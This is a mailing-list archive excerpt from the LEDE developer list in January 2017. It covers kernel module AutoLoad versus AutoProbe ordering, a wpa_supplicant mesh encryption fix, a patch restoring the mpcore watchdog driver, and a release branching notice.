 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
Message-ID: <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>



On 10/01/2017 10:53, Zefir Kurtisi wrote:
> On 01/10/2017 09:20 AM, John Crispin wrote:
>>
>>
>> On 10/01/2017 09:17, Baptiste Jonglez wrote:
>>> On Tue, Jan 10, 2017 at 07:56:36AM +0100, John Crispin wrote:
>>>>>> While investigating an issue with module loading order?, I discovered
>>>>>> that
>>>>>> some kernel packages use AutoProbe, like this:
>>>>>>
>>>>>>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
>>>>>>
>>>>>> while some kernel packages use the AutoLoad helper I was used to, with a
>>>>>> priority:
>>>>>>
>>>>>>      AUTOLOAD:=$(call AutoLoad,28,raid0)
>>>>>>
>>>>>> Judging from this commit? and `include/kernel.mk`, it seems the only
>>>>>> difference is that AutoProbe does not include a priority.
>>>>>>
>>>>>> Is the loading order determined automatically for AutoProbe?  If so,
>>>>>> where
>>>>>> is the magic, and why is AutoLoad still needed in some cases?
>>>>>
>>>>> I opened the issue, so using autoload the modules will get a priority
>>>>> specified by the number, for wireguard above 90 would issue only one
>>>>> warning and using autoprobe the module would be loaded by the order of
>>>>> the name ? so setting the xt_hashlimit with a lower number (autoload)
>>>>> will start wireguard without complaining
>>>>>
>>>>
>>>> autoload is like insmod while autoproe is more liek modprobe. kmodloader
>>>> will first load all numbered modules in the given order and then probe
>>>> the remaining ones.
>>>
>>> So, with AutoProbe, there is dependency resolution, similarly to modprobe?
>>> But without using depmod?
>>>
>>
>> correct. kmodloader will scan the ELF header and work out which other
>> modules are required to be loaded. depmod caches this dependency info
>> while kmodloader generates it when needed.
>>
>> 	John
>>
> Worth to note that only explicit dependencies are resolved, i.e. if one ko uses
> another ko (like ath9k -> ath9k_common). It obviously does not (and can't) work if
> one subsystem makes use of a component in another subsystem.
> 
> Let me share a recent experience for illustration and amusement. I had to debug a
> system where a gianfar ETH driver connects to an at803x PHY driver. Approaching
> the problem the usual printk based technique, I ended up in a situation where
> printing a string of size n in gianfar made the system work, while reducing the
> length of the printed string to (n-1) did not. Realizing that prink-ing random
> chars might not be the correct fix for the issue, I was wondering wtf!?
> 
> Turned out problem was caused by the kernel module autoloader. While the PHY and
> ETH driver were loaded and initialized in the background, the additional printk
> caused enough delay to allow the PHY to finish registration before the ETH
> attaches to it. If otherwise the ETH attaches to an enumerated PHY on the bus
> whose driver did not yet finalize its registration, it gets attach to genphy.
> Since everything works more or less, you won't notice unless you look for printk
> output - which itself changes measures :\
> 
> 
> Lesson learned: autoprobe is convenient, but if you need to ensure lower layer
> drivers are loaded before upper layer ones, use autoload.

correct, which is why we tend to add subsystem and lib stuff using
AutoLoad and the rest using AutoProbe

	John

> 
> NOTE: Since module initialization / registration still happens in the background,
> this might not prevent from the effect described above from happening (e.g. in
> case you delay PHY registration long enough with printk), but at least it gives
> you some control for spreading the loading of dependent modules.
> 
> 
> Cheers,
> Zefir
> 


From stijn at linux-ipv6.be  Tue Jan 10 02:27:31 2017
From: stijn at linux-ipv6.be (Stijn Tintel)
Date: Tue, 10 Jan 2017 11:27:31 +0100
Subject: [LEDE-DEV] [PATCH] wpa_supplicant: Fix mesh encryption config
In-Reply-To: <20170110102219.5822-1-m.sujith@gmail.com>
References: <20170110102219.5822-1-m.sujith@gmail.com>
Message-ID: <9c9f20a1-911a-0a79-afd4-584893c1f488@linux-ipv6.be>

On 10-01-17 11:22, Sujith wrote:
> wpa_supplicant allows only SAE as the key management
> type for mesh mode. The recent key_mgmt rework unconditionally
> added WPA-PSK - this breaks interface bringup and wpa_s
> throws this error message:
>
> Line 10: key_mgmt for mesh network should be open or SAE
> Line 10: failed to parse network block.
> Failed to read or parse configuration '/var/run/wpa_supplicant-wlan0.conf
Sorry about that.
>
> Fix this by making sure that only SAE is used for mesh.
>
> Signed-off-by: Sujith <m.sujith at gmail.com>
Please use your full name in SoB.

Thanks,
Stijn


From yszhou4tech at gmail.com  Tue Jan 10 03:11:56 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue, 10 Jan 2017 19:11:56 +0800
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
Message-ID: <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>

On 10 January 2017 at 18:27, John Crispin <john at phrozen.org> wrote:
> correct, which is why we tend to add subsystem and lib stuff using
> AutoLoad and the rest using AutoProbe

I think the problem with wireguard in github issue 3790 [1] is that
wireguard requires NFPROTO_{IPV4,IPV6} "hashlimit" module and
netfilter subsystem will try to load ipt_hashlimit and ip6t_hashlimit
which are aliases of xt_hashlimit, but we have aliases along with
other modinfoinfo stripped from kernel modules with patch
204-module_strip.patch.

It looks to me mod aliases are essential part of the module info in
this case . What do you think about restoring them by patching the
204.xxx.patch?

[1] https://github.com/openwrt/packages/issues/3790

                yousong


From john at phrozen.org  Tue Jan 10 04:20:56 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 13:20:56 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
 <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
Message-ID: <0f7948f0-7dda-dd14-a96e-04a883fe87c4@phrozen.org>



On 10/01/2017 12:11, Yousong Zhou wrote:
> On 10 January 2017 at 18:27, John Crispin <john at phrozen.org> wrote:
>> correct, which is why we tend to add subsystem and lib stuff using
>> AutoLoad and the rest using AutoProbe
> 
> I think the problem with wireguard in github issue 3790 [1] is that
> wireguard requires NFPROTO_{IPV4,IPV6} "hashlimit" module and
> netfilter subsystem will try to load ipt_hashlimit and ip6t_hashlimit
> which are aliases of xt_hashlimit, but we have aliases along with
> other modinfoinfo stripped from kernel modules with patch
> 204-module_strip.patch.
> 
> It looks to me mod aliases are essential part of the module info in
> this case . What do you think about restoring them by patching the
> 204.xxx.patch?
> 
> [1] https://github.com/openwrt/packages/issues/3790
> 
>                 yousong
> 

why not simply set the hashlimit to autoload and make wireguard depend
on it ? that should resolve the loading issue.

	John


From yszhou4tech at gmail.com  Tue Jan 10 04:38:24 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue, 10 Jan 2017 20:38:24 +0800
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <0f7948f0-7dda-dd14-a96e-04a883fe87c4@phrozen.org>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
 <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
 <0f7948f0-7dda-dd14-a96e-04a883fe87c4@phrozen.org>
Message-ID: <CAECwjAiOKxAZ7hoMmaWKEc4V8jcWcBqtBTPPVVfSEALMHaPo+Q@mail.gmail.com>

On 10 January 2017 at 20:20, John Crispin <john at phrozen.org> wrote:
>
>
> On 10/01/2017 12:11, Yousong Zhou wrote:
>> On 10 January 2017 at 18:27, John Crispin <john at phrozen.org> wrote:
>>> correct, which is why we tend to add subsystem and lib stuff using
>>> AutoLoad and the rest using AutoProbe
>>
>> I think the problem with wireguard in github issue 3790 [1] is that
>> wireguard requires NFPROTO_{IPV4,IPV6} "hashlimit" module and
>> netfilter subsystem will try to load ipt_hashlimit and ip6t_hashlimit
>> which are aliases of xt_hashlimit, but we have aliases along with
>> other modinfoinfo stripped from kernel modules with patch
>> 204-module_strip.patch.
>>
>> It looks to me mod aliases are essential part of the module info in
>> this case . What do you think about restoring them by patching the
>> 204.xxx.patch?
>>
>> [1] https://github.com/openwrt/packages/issues/3790
>>
>>                 yousong
>>
>
> why not simply set the hashlimit to autoload and make wireguard depend
> on it ? that should resolve the loading issue.
>
>         John

Yes, but the point is that missing aliases is a generic issue and
autoloading hashlimit only fixes a single case.

                yousong


From koen.vandeputte at ncentric.com  Tue Jan 10 05:34:57 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Tue, 10 Jan 2017 14:34:57 +0100
Subject: [LEDE-DEV] [PATCH] cns3xxx: restore mpcore watchdog
Message-ID: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>

Adds the mpcore watchdog driver for kernel 4.4 as it was originally
present up to kernel 3.12

- Disabled by default for now, but can be simply enabled in kernelconfig
- Currently does not contain the latest patches as mentioned here:

https://git.kernel.org/cgit/linux/kernel/git/next/linux-
next.git/commit/?id=6e63a3a294fdf91eaaac1061a9c7a5f53d16ac25

Tested on cns3xxx (GW2388)

[    0.700000] mpcore_wdt: MPcore Watchdog Timer: 0.1. mpcore_noboot=0
mpcore_margin=60 sec (nowayout= 1)
[    3.490000] mpcore_wdt mpcore_wdt: enabling watchdog
[    3.490000] init: - watchdog -
[    8.750000] procd: - watchdog -

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 target/linux/cns3xxx/config-4.4                    |   1 +
 .../patches-4.4/300-restore-mpcore-watchdog.patch  | 502 +++++++++++++++++++++
 2 files changed, 503 insertions(+)
 create mode 100644 target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch

diff --git a/target/linux/cns3xxx/config-4.4 b/target/linux/cns3xxx/config-4.4
index 4745f4e..ffc1f02 100644
--- a/target/linux/cns3xxx/config-4.4
+++ b/target/linux/cns3xxx/config-4.4
@@ -182,6 +182,7 @@ CONFIG_MMC_SDHCI_CNS3XXX=y
 CONFIG_MMC_SDHCI_PLTFM=y
 # CONFIG_MMC_TIFM_SD is not set
 CONFIG_MODULES_USE_ELF_REL=y
+# CONFIG_MPCORE_WATCHDOG is not set
 CONFIG_MTD_M25P80=y
 # CONFIG_MTD_OF_PARTS is not set
 CONFIG_MTD_PHYSMAP=y
diff --git a/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch b/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch
new file mode 100644
index 0000000..156dcaa
--- /dev/null
+++ b/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch
@@ -0,0 +1,502 @@
+--- a/Documentation/watchdog/watchdog-parameters.txt
++++ b/Documentation/watchdog/watchdog-parameters.txt
+@@ -196,6 +196,14 @@ reset: Watchdog Interrupt/Reset Mode. 0
+ nowayout: Watchdog cannot be stopped once started
+ 	(default=kernel config parameter)
+ -------------------------------------------------
++mpcore_wdt:
++mpcore_margin: MPcore timer margin in seconds.
++	(0 < mpcore_margin < 65536, default=60)
++nowayout: Watchdog cannot be stopped once started
++	(default=kernel config parameter)
++mpcore_noboot: MPcore watchdog action, set to 1 to ignore reboots,
++	0 to reboot (default=0
++--------------------------------------------------
+ mv64x60_wdt:
+ nowayout: Watchdog cannot be stopped once started
+ 	(default=kernel config parameter)
+--- a/drivers/watchdog/Kconfig
++++ b/drivers/watchdog/Kconfig
+@@ -297,6 +297,15 @@ config DW_WATCHDOG
+ 	  To compile this driver as a module, choose M here: the
+ 	  module will be called dw_wdt.
+ 
++config MPCORE_WATCHDOG
++	tristate "MPcore watchdog"
++	depends on HAVE_ARM_TWD
++	help
++	  Watchdog timer embedded into the MPcore system.
++
++	  To compile this driver as a module, choose M here: the
++	  module will be called mpcore_wdt.
++
+ config EP93XX_WATCHDOG
+ 	tristate "EP93xx Watchdog"
+ 	depends on ARCH_EP93XX
+--- a/drivers/watchdog/Makefile
++++ b/drivers/watchdog/Makefile
+@@ -43,6 +43,7 @@ obj-$(CONFIG_S3C2410_WATCHDOG) += s3c241
+ obj-$(CONFIG_SA1100_WATCHDOG) += sa1100_wdt.o
+ obj-$(CONFIG_SAMA5D4_WATCHDOG) += sama5d4_wdt.o
+ obj-$(CONFIG_DW_WATCHDOG) += dw_wdt.o
++obj-$(CONFIG_MPCORE_WATCHDOG) += mpcore_wdt.o
+ obj-$(CONFIG_EP93XX_WATCHDOG) += ep93xx_wdt.o
+ obj-$(CONFIG_PNX4008_WATCHDOG) += pnx4008_wdt.o
+ obj-$(CONFIG_IOP_WATCHDOG) += iop_wdt.o
+--- /dev/null
++++ b/drivers/watchdog/mpcore_wdt.c
+@@ -0,0 +1,454 @@
++/*
++ *	Watchdog driver for the mpcore watchdog timer
++ *
++ *	(c) Copyright 2004 ARM Limited
++ *
++ *	Based on the SoftDog driver:
++ *	(c) Copyright 1996 Alan Cox <alan at lxorguk.ukuu.org.uk>,
++ *						All Rights Reserved.
++ *
++ *	This program is free software; you can redistribute it and/or
++ *	modify it under the terms of the GNU General Public License
++ *	as published by the Free Software Foundation; either version
++ *	2 of the License, or (at your option) any later version.
++ *
++ *	Neither Alan Cox nor CymruNet Ltd. admit liability nor provide
++ *	warranty for any of this software. This material is provided
++ *	"AS-IS" and at no charge.
++ *
++ *	(c) Copyright 1995    Alan Cox <alan at lxorguk.ukuu.org.uk>
++ *
++ */
++
++#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
++
++#include <linux/module.h>
++#include <linux/moduleparam.h>
++#include <linux/types.h>
++#include <linux/miscdevice.h>
++#include <linux/watchdog.h>
++#include <linux/fs.h>
++#include <linux/reboot.h>
++#include <linux/init.h>
++#include <linux/interrupt.h>
++#include <linux/platform_device.h>
++#include <linux/uaccess.h>
++#include <linux/slab.h>
++#include <linux/io.h>
++
++#include <asm/smp_twd.h>
++
++struct mpcore_wdt {
++	unsigned long	timer_alive;
++	struct device	*dev;
++	void __iomem	*base;
++	int		irq;
++	unsigned int	perturb;
++	char		expect_close;
++};
++
++static struct platform_device *mpcore_wdt_pdev;
++static DEFINE_SPINLOCK(wdt_lock);
++
++#define TIMER_MARGIN	60
++static int mpcore_margin = TIMER_MARGIN;
++module_param(mpcore_margin, int, 0);
++MODULE_PARM_DESC(mpcore_margin,
++	"MPcore timer margin in seconds. (0 < mpcore_margin < 65536, default="
++				__MODULE_STRING(TIMER_MARGIN) ")");
++
++static bool nowayout = WATCHDOG_NOWAYOUT;
++module_param(nowayout, bool, 0);
++MODULE_PARM_DESC(nowayout,
++	"Watchdog cannot be stopped once started (default="
++				__MODULE_STRING(WATCHDOG_NOWAYOUT) ")");
++
++#define ONLY_TESTING	0
++static int mpcore_noboot = ONLY_TESTING;
++module_param(mpcore_noboot, int, 0);
++MODULE_PARM_DESC(mpcore_noboot, "MPcore watchdog action, "
++	"set to 1 to ignore reboots, 0 to reboot (default="
++					__MODULE_STRING(ONLY_TESTING) ")");
++
++/*
++ *	This is the interrupt handler.  Note that we only use this
++ *	in testing mode, so don't actually do a reboot here.
++ */
++static irqreturn_t mpcore_wdt_fire(int irq, void *arg)
++{
++	struct mpcore_wdt *wdt = arg;
++
++	/* Check it really was our interrupt */
++	if (readl(wdt->base + TWD_WDOG_INTSTAT)) {
++		dev_crit(wdt->dev, "Triggered - Reboot ignored\n");
++		/* Clear the interrupt on the watchdog */
++		writel(1, wdt->base + TWD_WDOG_INTSTAT);
++		return IRQ_HANDLED;
++	}
++	return IRQ_NONE;
++}
++
++/*
++ *	mpcore_wdt_keepalive - reload the timer
++ *
++ *	Note that the spec says a DIFFERENT value must be written to the reload
++ *	register each time.  The "perturb" variable deals with this by adding 1
++ *	to the count every other time the function is called.
++ */
++static void mpcore_wdt_keepalive(struct mpcore_wdt *wdt)
++{
++	unsigned long count;
++
++	spin_lock(&wdt_lock);
++	/* Assume prescale is set to 256 */
++	count =  __raw_readl(wdt->base + TWD_WDOG_COUNTER);
++	count = (0xFFFFFFFFU - count) * (HZ / 5);
++	count = (count / 256) * mpcore_margin;
++
++	/* Reload the counter */
++	writel(count + wdt->perturb, wdt->base + TWD_WDOG_LOAD);
++	wdt->perturb = wdt->perturb ? 0 : 1;
++	spin_unlock(&wdt_lock);
++}
++
++static void mpcore_wdt_stop(struct mpcore_wdt *wdt)
++{
++	spin_lock(&wdt_lock);
++	writel(0x12345678, wdt->base + TWD_WDOG_DISABLE);
++	writel(0x87654321, wdt->base + TWD_WDOG_DISABLE);
++	writel(0x0, wdt->base + TWD_WDOG_CONTROL);
++	spin_unlock(&wdt_lock);
++}
++
++static void mpcore_wdt_start(struct mpcore_wdt *wdt)
++{
++	dev_info(wdt->dev, "enabling watchdog\n");
++
++	/* This loads the count register but does NOT start the count yet */
++	mpcore_wdt_keepalive(wdt);
++
++	if (mpcore_noboot) {
++		/* Enable watchdog - prescale=256, watchdog mode=0, enable=1 */
++		writel(0x0000FF01, wdt->base + TWD_WDOG_CONTROL);
++	} else {
++		/* Enable watchdog - prescale=256, watchdog mode=1, enable=1 */
++		writel(0x0000FF09, wdt->base + TWD_WDOG_CONTROL);
++	}
++}
++
++static int mpcore_wdt_set_heartbeat(int t)
++{
++	if (t < 0x0001 || t > 0xFFFF)
++		return -EINVAL;
++
++	mpcore_margin = t;
++	return 0;
++}
++
++/*
++ *	/dev/watchdog handling
++ */
++static int mpcore_wdt_open(struct inode *inode, struct file *file)
++{
++	struct mpcore_wdt *wdt = platform_get_drvdata(mpcore_wdt_pdev);
++
++	if (test_and_set_bit(0, &wdt->timer_alive))
++		return -EBUSY;
++
++	if (nowayout)
++		__module_get(THIS_MODULE);
++
++	file->private_data = wdt;
++
++	/*
++	 *	Activate timer
++	 */
++	mpcore_wdt_start(wdt);
++
++	return nonseekable_open(inode, file);
++}
++
++static int mpcore_wdt_release(struct inode *inode, struct file *file)
++{
++	struct mpcore_wdt *wdt = file->private_data;
++
++	/*
++	 *	Shut off the timer.
++	 *	Lock it in if it's a module and we set nowayout
++	 */
++	if (wdt->expect_close == 42)
++		mpcore_wdt_stop(wdt);
++	else {
++		dev_crit(wdt->dev,
++			 "unexpected close, not stopping watchdog!\n");
++		mpcore_wdt_keepalive(wdt);
++	}
++	clear_bit(0, &wdt->timer_alive);
++	wdt->expect_close = 0;
++	return 0;
++}
++
++static ssize_t mpcore_wdt_write(struct file *file, const char *data,
++						size_t len, loff_t *ppos)
++{
++	struct mpcore_wdt *wdt = file->private_data;
++
++	/*
++	 *	Refresh the timer.
++	 */
++	if (len) {
++		if (!nowayout) {
++			size_t i;
++
++			/* In case it was set long ago */
++			wdt->expect_close = 0;
++
++			for (i = 0; i != len; i++) {
++				char c;
++
++				if (get_user(c, data + i))
++					return -EFAULT;
++				if (c == 'V')
++					wdt->expect_close = 42;
++			}
++		}
++		mpcore_wdt_keepalive(wdt);
++	}
++	return len;
++}
++
++static const struct watchdog_info ident = {
++	.options		= WDIOF_SETTIMEOUT |
++				  WDIOF_KEEPALIVEPING |
++				  WDIOF_MAGICCLOSE,
++	.identity		= "MPcore Watchdog",
++};
++
++static long mpcore_wdt_ioctl(struct file *file, unsigned int cmd,
++							unsigned long arg)
++{
++	struct mpcore_wdt *wdt = file->private_data;
++	int ret;
++	union {
++		struct watchdog_info ident;
++		int i;
++	} uarg;
++
++	if (_IOC_DIR(cmd) && _IOC_SIZE(cmd) > sizeof(uarg))
++		return -ENOTTY;
++
++	if (_IOC_DIR(cmd) & _IOC_WRITE) {
++		ret = copy_from_user(&uarg, (void __user *)arg, _IOC_SIZE(cmd));
++		if (ret)
++			return -EFAULT;
++	}
++
++	switch (cmd) {
++	case WDIOC_GETSUPPORT:
++		uarg.ident = ident;
++		ret = 0;
++		break;
++
++	case WDIOC_GETSTATUS:
++	case WDIOC_GETBOOTSTATUS:
++		uarg.i = 0;
++		ret = 0;
++		break;
++
++	case WDIOC_SETOPTIONS:
++		ret = -EINVAL;
++		if (uarg.i & WDIOS_DISABLECARD) {
++			mpcore_wdt_stop(wdt);
++			ret = 0;
++		}
++		if (uarg.i & WDIOS_ENABLECARD) {
++			mpcore_wdt_start(wdt);
++			ret = 0;
++		}
++		break;
++
++	case WDIOC_KEEPALIVE:
++		mpcore_wdt_keepalive(wdt);
++		ret = 0;
++		break;
++
++	case WDIOC_SETTIMEOUT:
++		ret = mpcore_wdt_set_heartbeat(uarg.i);
++		if (ret)
++			break;
++
++		mpcore_wdt_keepalive(wdt);
++		/* Fall */
++	case WDIOC_GETTIMEOUT:
++		uarg.i = mpcore_margin;
++		ret = 0;
++		break;
++
++	default:
++		return -ENOTTY;
++	}
++
++	if (ret == 0 && _IOC_DIR(cmd) & _IOC_READ) {
++		ret = copy_to_user((void __user *)arg, &uarg, _IOC_SIZE(cmd));
++		if (ret)
++			ret = -EFAULT;
++	}
++	return ret;
++}
++
++/*
++ *	System shutdown handler.  Turn off the watchdog if we're
++ *	restarting or halting the system.
++ */
++static void mpcore_wdt_shutdown(struct platform_device *pdev)
++{
++	struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
++
++	if (system_state == SYSTEM_RESTART || system_state == SYSTEM_HALT)
++		mpcore_wdt_stop(wdt);
++}
++
++/*
++ *	Kernel Interfaces
++ */
++static const struct file_operations mpcore_wdt_fops = {
++	.owner		= THIS_MODULE,
++	.llseek		= no_llseek,
++	.write		= mpcore_wdt_write,
++	.unlocked_ioctl	= mpcore_wdt_ioctl,
++	.open		= mpcore_wdt_open,
++	.release	= mpcore_wdt_release,
++};
++
++static struct miscdevice mpcore_wdt_miscdev = {
++	.minor		= WATCHDOG_MINOR,
++	.name		= "watchdog",
++	.fops		= &mpcore_wdt_fops,
++};
++
++static int mpcore_wdt_probe(struct platform_device *pdev)
++{
++	struct mpcore_wdt *wdt;
++	struct resource *res;
++	int ret;
++
++	/* We only accept one device, and it must have an id of -1 */
++	if (pdev->id != -1)
++		return -ENODEV;
++
++	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
++	if (!res)
++		return -ENODEV;
++
++	wdt = devm_kzalloc(&pdev->dev, sizeof(struct mpcore_wdt), GFP_KERNEL);
++	if (!wdt)
++		return -ENOMEM;
++
++	wdt->dev = &pdev->dev;
++	wdt->irq = platform_get_irq(pdev, 0);
++	if (wdt->irq >= 0) {
++		ret = devm_request_irq(wdt->dev, wdt->irq, mpcore_wdt_fire, 0,
++				"mpcore_wdt", wdt);
++		if (ret) {
++			dev_err(wdt->dev,
++				"cannot register IRQ%d for watchdog\n",
++				wdt->irq);
++			return ret;
++		}
++	}
++
++	wdt->base = devm_ioremap(wdt->dev, res->start, resource_size(res));
++	if (!wdt->base)
++		return -ENOMEM;
++
++	mpcore_wdt_miscdev.parent = &pdev->dev;
++	ret = misc_register(&mpcore_wdt_miscdev);
++	if (ret) {
++		dev_err(wdt->dev,
++			"cannot register miscdev on minor=%d (err=%d)\n",
++			WATCHDOG_MINOR, ret);
++		return ret;
++	}
++
++	mpcore_wdt_stop(wdt);
++	platform_set_drvdata(pdev, wdt);
++	mpcore_wdt_pdev = pdev;
++
++	return 0;
++}
++
++static int mpcore_wdt_remove(struct platform_device *pdev)
++{
++	misc_deregister(&mpcore_wdt_miscdev);
++
++	mpcore_wdt_pdev = NULL;
++
++	return 0;
++}
++
++#ifdef CONFIG_PM
++static int mpcore_wdt_suspend(struct platform_device *pdev, pm_message_t msg)
++{
++	struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
++	mpcore_wdt_stop(wdt);		/* Turn the WDT off */
++	return 0;
++}
++
++static int mpcore_wdt_resume(struct platform_device *pdev)
++{
++	struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
++	/* re-activate timer */
++	if (test_bit(0, &wdt->timer_alive))
++		mpcore_wdt_start(wdt);
++	return 0;
++}
++#else
++#define mpcore_wdt_suspend	NULL
++#define mpcore_wdt_resume	NULL
++#endif
++
++/* work with hotplug and coldplug */
++MODULE_ALIAS("platform:mpcore_wdt");
++
++static struct platform_driver mpcore_wdt_driver = {
++	.probe		= mpcore_wdt_probe,
++	.remove		= mpcore_wdt_remove,
++	.suspend	= mpcore_wdt_suspend,
++	.resume		= mpcore_wdt_resume,
++	.shutdown	= mpcore_wdt_shutdown,
++	.driver		= {
++		.owner	= THIS_MODULE,
++		.name	= "mpcore_wdt",
++	},
++};
++
++static int __init mpcore_wdt_init(void)
++{
++	/*
++	 * Check that the margin value is within it's range;
++	 * if not reset to the default
++	 */
++	if (mpcore_wdt_set_heartbeat(mpcore_margin)) {
++		mpcore_wdt_set_heartbeat(TIMER_MARGIN);
++		pr_info("mpcore_margin value must be 0 < mpcore_margin < 65536, using %d\n",
++			TIMER_MARGIN);
++	}
++
++	pr_info("MPcore Watchdog Timer: 0.1. mpcore_noboot=%d mpcore_margin=%d sec (nowayout= %d)\n",
++		mpcore_noboot, mpcore_margin, nowayout);
++
++	return platform_driver_register(&mpcore_wdt_driver);
++}
++
++static void __exit mpcore_wdt_exit(void)
++{
++	platform_driver_unregister(&mpcore_wdt_driver);
++}
++
++module_init(mpcore_wdt_init);
++module_exit(mpcore_wdt_exit);
++
++MODULE_AUTHOR("ARM Limited");
++MODULE_DESCRIPTION("MPcore Watchdog Device Driver");
++MODULE_LICENSE("GPL");
++MODULE_ALIAS_MISCDEV(WATCHDOG_MINOR);
-- 
2.7.4



From naobsd at gmail.com  Tue Jan 10 07:01:26 2017
From: naobsd at gmail.com (Naoki FUKAUMI)
Date: Wed, 11 Jan 2017 00:01:26 +0900
Subject: [LEDE-DEV] [PATCH v2 2/3] mtd: bcm47xxpart: add device specific
 workaround for Buffalo WZR-900DHP
In-Reply-To: <20161224132157.10609-2-naobsd@gmail.com>
References: <20161224132157.10609-1-naobsd@gmail.com>
 <20161224132157.10609-2-naobsd@gmail.com>
Message-ID: <CAFnsNoRPE4v15NBULFdBNWAZ7NrknvLw6C9qxGP8jci+e8ju_w@mail.gmail.com>

hi,

this patch cannot be applied (conflict) and probably is not needed
anymore by following commit,

  "kernel: add pending bcm47xxpart support for failsafe TRX partition"

please drop this patch.

I'll send v3 patch which adds support for Buffalo WCR-1166DS with factory image.

Regards,

On Sat, Dec 24, 2016 at 10:21 PM, FUKAUMI Naoki <naobsd at gmail.com> wrote:
> 2nd trx partition shouldn't be added, otherwise size of 1st trx
> partition won't be set properly.
>
> Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
> ---
> Changes in v2:
> - no change
>
>  .../901-mtd-bcm47xxpart-add-device-specific-workarounds.patch     | 8 +++++++-
>  1 file changed, 7 insertions(+), 1 deletion(-)
>
> diff --git a/target/linux/bcm53xx/patches-4.4/901-mtd-bcm47xxpart-add-device-specific-workarounds.patch b/target/linux/bcm53xx/patches-4.4/901-mtd-bcm47xxpart-add-device-specific-workarounds.patch
> index 35c6ff7..b724c33 100644
> --- a/target/linux/bcm53xx/patches-4.4/901-mtd-bcm47xxpart-add-device-specific-workarounds.patch
> +++ b/target/linux/bcm53xx/patches-4.4/901-mtd-bcm47xxpart-add-device-specific-workarounds.patch
> @@ -17,7 +17,7 @@ Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
>
>   #include <uapi/linux/magic.h>
>
> -@@ -159,6 +160,28 @@ static int bcm47xxpart_parse(struct mtd_
> +@@ -159,6 +160,34 @@ static int bcm47xxpart_parse(struct mtd_
>                         break;
>                 }
>
> @@ -41,6 +41,12 @@ Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
>  +                       */
>  +                      bcm47xxpart_add_part(&parts[curr_part++], "tplink", offset, MTD_WRITEABLE);
>  +                      continue;
> ++              } else if (of_machine_is_compatible("buffalo,wzr-900dhp") && offset == 0x2100000) {
> ++                      /*
> ++                       * 2nd trx partition shouldn't be added, otherwise size
> ++                       * of 1st trx partition won't be set properly.
> ++                       */
> ++                      continue;
>  +              }
>  +
>                 /* Read beginning of the block */
> --
> 2.7.4
>


From jo at mein.io  Tue Jan 10 07:19:05 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Tue, 10 Jan 2017 16:19:05 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01
Message-ID: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>

Hi guys,

I'd like to branch off lede-17.01 on Friday, the 13th and would
appreciate if you could merge your outstanding, release critical work
until then.

If you think we should delay branching, then raise your objections now.

If no objections are brought up within the next 24 hours, I'll go
forward asking the feed maintainers to create "lede-17.01" branches.


Regards,
Jo


